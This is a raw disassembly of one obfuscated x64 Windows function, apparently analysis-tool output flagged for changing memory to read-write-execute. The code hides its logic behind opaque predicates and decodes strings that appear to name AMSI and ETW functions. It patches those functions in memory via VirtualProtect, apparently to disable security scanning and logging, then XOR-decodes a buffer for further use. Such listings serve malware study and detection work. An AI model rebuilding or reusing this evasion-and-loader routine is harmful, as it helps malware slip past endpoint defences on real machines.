Function at 0x1400049d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rsi
sub rsp, 0x108
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x68], r8
mov dword [rbp + 0x74], edx
mov qword [rbp + 0x78], rcx
mov rax, qword [0x140021048]
xor rax, rbp
mov qword [rbp + 0x80], rax
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
mov edx, ecx
sub edx, 0x87f5e318
sub edx, 1
add edx, 0x87f5e318
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140004a74
jmp 0x1400054bd
mov rdx, qword [rbp + 0x78]
mov r9d, dword [rbp + 0x74]
mov r11, qword [rbp + 0x68]
mov eax, 0x10
mov qword [rbp + 0x18], rax
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp + 0x18]
mov r10, rsp
mov qword [rbp], r10
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp + 0x18]
mov r8, rsp
mov qword [rbp + 8], r8
call fcn.140005920
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x20], rax
mov eax, 0x80
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp + 0x18]
mov rcx, rsp
mov qword [rbp + 0x10], rcx
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp + 0x18]
mov rsi, rsp
mov qword [rbp + 0x28], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp + 0x18]
mov rsi, rsp
mov qword [rbp + 0x58], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp + 0x18]
mov rsi, rsp
mov qword [rbp + 0x30], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp + 0x18]
mov rsi, rsp
mov qword [rbp + 0x38], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp + 0x18]
mov rsi, rsp
mov qword [rbp + 0x40], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp + 0x18]
mov rsi, rsp
mov qword [rbp + 0x48], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp + 0x18]
mov rsi, rsp
mov qword [rbp + 0x50], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp + 0x20]
mov rsi, rsp
mov qword [rbp + 0x60], rsi
mov qword [r10], r11
mov dword [r8], r9d
mov qword [rax], rdx
lea rdx, section..rdata
mov r8d, 0x80
sub rsp, 0x20
call fcn.140006920
mov r8, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x58]
add rsp, 0x20
mov dword [r8], 0
mov dword [rdx], 0
mov dword [rax], 0x83
mov rax, qword [0x140017080]
mov qword [rcx], rax
mov eax, dword [0x140017088]
mov dword [rcx + 8], eax
mov ax, word [0x14001708c]
mov word [rcx + 0xc], ax
mov al, byte [0x14001708e]
mov byte [rcx + 0xe], al
mov edx, 0xf
lea r8, [0x140021020]
mov r9d, 0x1b
sub rsp, 0x20
call fcn.140002810
add rsp, 0x20
lea rcx, [0x14002101a]
mov edx, 5
lea r8, [0x140021020]
mov r9d, 0x1b
sub rsp, 0x20
call fcn.140002810
mov rax, qword [rbp + 0x40]
add rsp, 0x20
mov ecx, dword [0x14001708f]
mov dword [rax], ecx
mov cx, word [0x140017093]
mov word [rax + 4], cx
lea rcx, [0x14002101a]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbp + 0x38]
add rsp, 0x20
mov rcx, rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9, qword [rbp + 0x58]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x48]
mov qword [rax], rcx
mov rcx, qword [rax]
mov edx, 1
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdx, qword [rbp + 0x40]
mov r9, qword [rbp + 0x58]
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov rcx, qword [rax]
mov r8d, dword [rdx]
mov dword [rcx], r8d
mov dx, word [rdx + 4]
mov word [rcx + 4], dx
mov r8d, dword [r9]
mov rcx, qword [rax]
mov edx, 1
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0x50]
add rsp, 0x20
mov rax, qword [0x140017095]
mov qword [rcx], rax
mov eax, dword [0x14001709d]
mov dword [rcx + 8], eax
mov al, byte [0x1400170a1]
mov byte [rcx + 0xc], al
mov edx, 0xd
lea r8, [0x140021020]
mov r9d, 0x1b
sub rsp, 0x20
call fcn.140002810
add rsp, 0x20
lea rcx, [0x140021010]
mov edx, 0xa
lea r8, [0x140021020]
mov r9d, 0x1b
sub rsp, 0x20
call fcn.140002810
add rsp, 0x20
lea rcx, [0x140021010]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbp + 0x50]
add rsp, 0x20
mov rcx, rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9, qword [rbp + 0x58]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x60]
mov qword [rax], rcx
mov rcx, qword [rax]
mov edx, 1
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x58]
add rsp, 0x20
mov rax, qword [rbp + 0x60]
mov rcx, qword [rax]
mov dl, byte [0x14001c3a0]
mov byte [rcx], dl
mov r8d, dword [r9]
mov rcx, qword [rax]
mov edx, 1
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
mov edx, ecx
sub edx, 0xf360380
sub edx, 1
add edx, 0xf360380
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140004dea
jmp 0x1400054bd
jmp 0x140004def
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
mov edx, ecx
sub edx, 0x4e0124ff
sub edx, 1
add edx, 0x4e0124ff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140004e33
jmp 0x1400057e8
mov rax, qword [rbp + 0x28]
movsxd rax, dword [rax]
cmp rax, 0x80
sete al
mov byte [rbp - 1], al
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140004e85
jmp 0x1400057e8
mov al, byte [rbp - 1]
test al, 1
jne 0x140004e95
jmp 0x140004e9a
jmp 0x140004f0d
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp]
movsxd r8, dword [rax]
movsx r8d, byte [rcx + r8]
mov rdx, qword [rdx]
mov qword [rbp - 0x10], rdx
mov eax, dword [rax]
mov r9d, 0x80
cdq
idiv r9d
mov rax, qword [rbp + 0x28]
mov r9d, edx
mov rdx, qword [rbp - 0x10]
movsxd r9, r9d
movsx r9d, byte [rdx + r9]
mov r10d, r8d
xor r10d, 0xffffffff
mov edx, r9d
and edx, r10d
xor r9d, 0xffffffff
and r8d, r9d
or edx, r8d
mov r8b, dl
movsxd rdx, dword [rax]
mov byte [rcx + rdx], r8b
mov ecx, dword [rax]
sub ecx, 0x844d61ad
add ecx, 1
add ecx, 0x844d61ad
mov dword [rax], ecx
jmp 0x140004def
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x140004f7f
jmp 0x1400057ed
mov rax, qword [rbp + 0x28]
mov dword [rax], 0
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
mov edx, ecx
sub edx, 0xa3067d04
sub edx, 1
add edx, 0xa3067d04
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x140005000
jmp 0x1400057ed
jmp 0x140005005
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
mov edx, ecx
sub edx, 0x3bb46b1d
sub edx, 1
add edx, 0x3bb46b1d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000507c
jmp 0x1400057fc
mov rcx, qword [rbp + 8]
mov rax, qword [rbp + 0x28]
mov eax, dword [rax]
cmp eax, dword [rcx]
sete al
mov byte [rbp - 0x11], al
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
mov edx, ecx
sub edx, 0x48f50607
sub edx, 1
add edx, 0x48f50607
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x1400050d2
jmp 0x1400057fc
mov al, byte [rbp - 0x11]
test al, 1
jne 0x1400050e2
jmp 0x1400051d0
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
mov edx, ecx
add edx, 0x642ecd1a
sub edx, 1
sub edx, 0x642ecd1a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x140005159
jmp 0x140005801
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x1400051cb
jmp 0x140005801
jmp 0x14000534e
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
mov edx, ecx
sub edx, 0x934e9acb
sub edx, 1
add edx, 0x934e9acb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140005247
jmp 0x140005806
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp]
mov r8, qword [rcx]
movsxd r9, dword [rax]
movsx r10d, byte [r8 + r9]
mov rdx, qword [rdx]
mov qword [rbp - 0x20], rdx
mov eax, dword [rax]
mov r8d, 0x80
cdq
idiv r8d
mov rax, qword [rbp + 0x28]
mov r8d, edx
mov rdx, qword [rbp - 0x20]
movsxd r8, r8d
movsx r9d, byte [rdx + r8]
mov edx, r10d
xor edx, 0xffffffff
and edx, 0x3ddbde47
mov r11d, 0xffffffff
xor r11d, 0x3ddbde47
and r10d, r11d
mov r8d, r9d
xor r8d, 0xffffffff
and r8d, 0x3ddbde47
and r9d, r11d
or edx, r10d
or r8d, r9d
xor edx, r8d
mov r8b, dl
mov rcx, qword [rcx]
movsxd rdx, dword [rax]
mov byte [rcx + rdx], r8b
mov ecx, dword [rax]
xor edx, edx
sub edx, 1
sub ecx, edx
mov dword [rax], ecx
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
mov edx, ecx
add edx, 0x8cd86492
sub edx, 1
sub edx, 0x8cd86492
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x140005349
jmp 0x140005806
jmp 0x140005005
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
mov edx, ecx
sub edx, 0x312900e3
sub edx, 1
add edx, 0x312900e3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x1400053c5
jmp 0x14000589e
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.140002e80
mov r8, qword [rbp + 0x10]
mov rcx, qword [rbp + 8]
mov rax, qword [rbp + 0x20]
add rsp, 0x20
mov edx, dword [rcx]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.140004000
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x20]
add rsp, 0x20
mov rcx, qword [rcx]
movsxd r8, dword [rax]
xor edx, edx
sub rsp, 0x20
call fcn.140006d80
mov rax, qword [rbp + 0x20]
add rsp, 0x20
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.14000980c
add rsp, 0x20
mov ecx, dword [0x140021b40]
mov eax, dword [0x140021b44]
mov edx, ecx
add edx, 0x52164dec
sub edx, 1
sub edx, 0x52164dec
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000549f
jmp 0x14000589e
mov rcx, qword [rbp + 0x80]
xor rcx, rbp
sub rsp, 0x20
call fcn.140005990
nop
lea rsp, [rbp + 0x88]
pop rsi
pop rbp
ret
mov rdx, qword [rbp + 0x78]
mov r9d, dword [rbp + 0x74]
mov r11, qword [rbp + 0x68]
mov eax, 0x10
mov qword [rbp - 0x70], rax
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov r10, rsp
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov r8, rsp
call fcn.140005920
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x68], rax
mov eax, 0x80
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rcx, rsp
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rsi, rsp
mov qword [rbp - 0x60], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rsi, rsp
mov qword [rbp - 0x30], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rsi, rsp
mov qword [rbp - 0x58], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rsi, rsp
mov qword [rbp - 0x50], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rsi, rsp
mov qword [rbp - 0x48], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rsi, rsp
mov qword [rbp - 0x40], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rsi, rsp
mov qword [rbp - 0x38], rsi
call fcn.140005920
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov rsi, rsp
mov qword [rbp - 0x28], rsi
mov qword [r10], r11
mov dword [r8], r9d
mov qword [rax], rdx
lea rdx, section..rdata
mov r8d, 0x80
sub rsp, 0x20
call fcn.140006920
mov r8, qword [rbp - 0x60]
mov rax, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x30]
add rsp, 0x20
mov dword [r8], 0
mov dword [rdx], 0
mov dword [rax], 0x83
mov rax, qword [0x140017080]
mov qword [rcx], rax
mov eax, dword [0x140017088]
mov dword [rcx + 8], eax
mov ax, word [0x14001708c]
mov word [rcx + 0xc], ax
mov al, byte [0x14001708e]
mov byte [rcx + 0xe], al
mov edx, 0xf
lea r8, [0x140021020]
mov r9d, 0x1b
sub rsp, 0x20
call fcn.140002810
add rsp, 0x20
lea rcx, [0x14002101a]
mov edx, 5
lea r8, [0x140021020]
mov r9d, 0x1b
sub rsp, 0x20
call fcn.140002810
mov rax, qword [rbp - 0x48]
add rsp, 0x20
mov ecx, dword [0x14001708f]
mov dword [rax], ecx
mov cx, word [0x140017093]
mov word [rax + 4], cx
lea rcx, [0x14002101a]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbp - 0x50]
add rsp, 0x20
mov rcx, rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9, qword [rbp - 0x30]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp - 0x40]
mov qword [rax], rcx
mov rcx, qword [rax]
mov edx, 1
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdx, qword [rbp - 0x48]
mov r9, qword [rbp - 0x30]
add rsp, 0x20
mov rax, qword [rbp - 0x40]
mov rcx, qword [rax]
mov r8d, dword [rdx]
mov dword [rcx], r8d
mov dx, word [rdx + 4]
mov word [rcx + 4], dx
mov r8d, dword [r9]
mov rcx, qword [rax]
mov edx, 1
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp - 0x38]
add rsp, 0x20
mov rax, qword [0x140017095]
mov qword [rcx], rax
mov eax, dword [0x14001709d]
mov dword [rcx + 8], eax
mov al, byte [0x1400170a1]
mov byte [rcx + 0xc], al
mov edx, 0xd
lea r8, [0x140021020]
mov r9d, 0x1b
sub rsp, 0x20
call fcn.140002810
add rsp, 0x20
lea rcx, [0x140021010]
mov edx, 0xa
lea r8, [0x140021020]
mov r9d, 0x1b
sub rsp, 0x20
call fcn.140002810
add rsp, 0x20
lea rcx, [0x140021010]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbp - 0x38]
add rsp, 0x20
mov rcx, rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9, qword [rbp - 0x30]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp - 0x28]
mov qword [rax], rcx
mov rcx, qword [rax]
mov edx, 1
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp - 0x30]
add rsp, 0x20
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax]
mov dl, byte [0x14001c3a0]
mov byte [rcx], dl
mov r8d, dword [r9]
mov rcx, qword [rax]
mov edx, 1
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
jmp 0x140004a74
jmp 0x140004e33
mov rax, qword [rbp + 0x28]
mov dword [rax], 0
jmp 0x140004f7f
jmp 0x14000507c
jmp 0x140005159
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp]
mov r8, qword [rcx]
movsxd r9, dword [rax]
movsx r10d, byte [r8 + r9]
mov rdx, qword [rdx]
mov qword [rbp - 0x78], rdx
mov eax, dword [rax]
mov r8d, 0x80
cdq
idiv r8d
mov rax, qword [rbp + 0x28]
mov r8d, edx
mov rdx, qword [rbp - 0x78]
movsxd r8, r8d
movsx r9d, byte [rdx + r8]
mov edx, r10d
xor edx, 0xffffffff
and edx, 0xcb314ec4
mov r11d, 0xffffffff
xor r11d, 0xcb314ec4
and r10d, r11d
mov r8d, r9d
xor r8d, 0xffffffff
and r8d, 0xcb314ec4
and r9d, r11d
or edx, r10d
or r8d, r9d
xor edx, r8d
mov r8b, dl
mov rcx, qword [rcx]
movsxd rdx, dword [rax]
mov byte [rcx + rdx], r8b
mov ecx, dword [rax]
add ecx, 0xce0ed773
add ecx, 1
sub ecx, 0xce0ed773
mov dword [rax], ecx
jmp 0x140005247
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.140002e80
mov r8, qword [rbp + 0x10]
mov rcx, qword [rbp + 8]
mov rax, qword [rbp + 0x20]
add rsp, 0x20
mov edx, dword [rcx]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.140004000
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x20]
add rsp, 0x20
mov rcx, qword [rcx]
movsxd r8, dword [rax]
xor edx, edx
sub rsp, 0x20
call fcn.140006d80
mov rax, qword [rbp + 0x20]
add rsp, 0x20
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.14000980c
add rsp, 0x20
jmp 0x1400053c5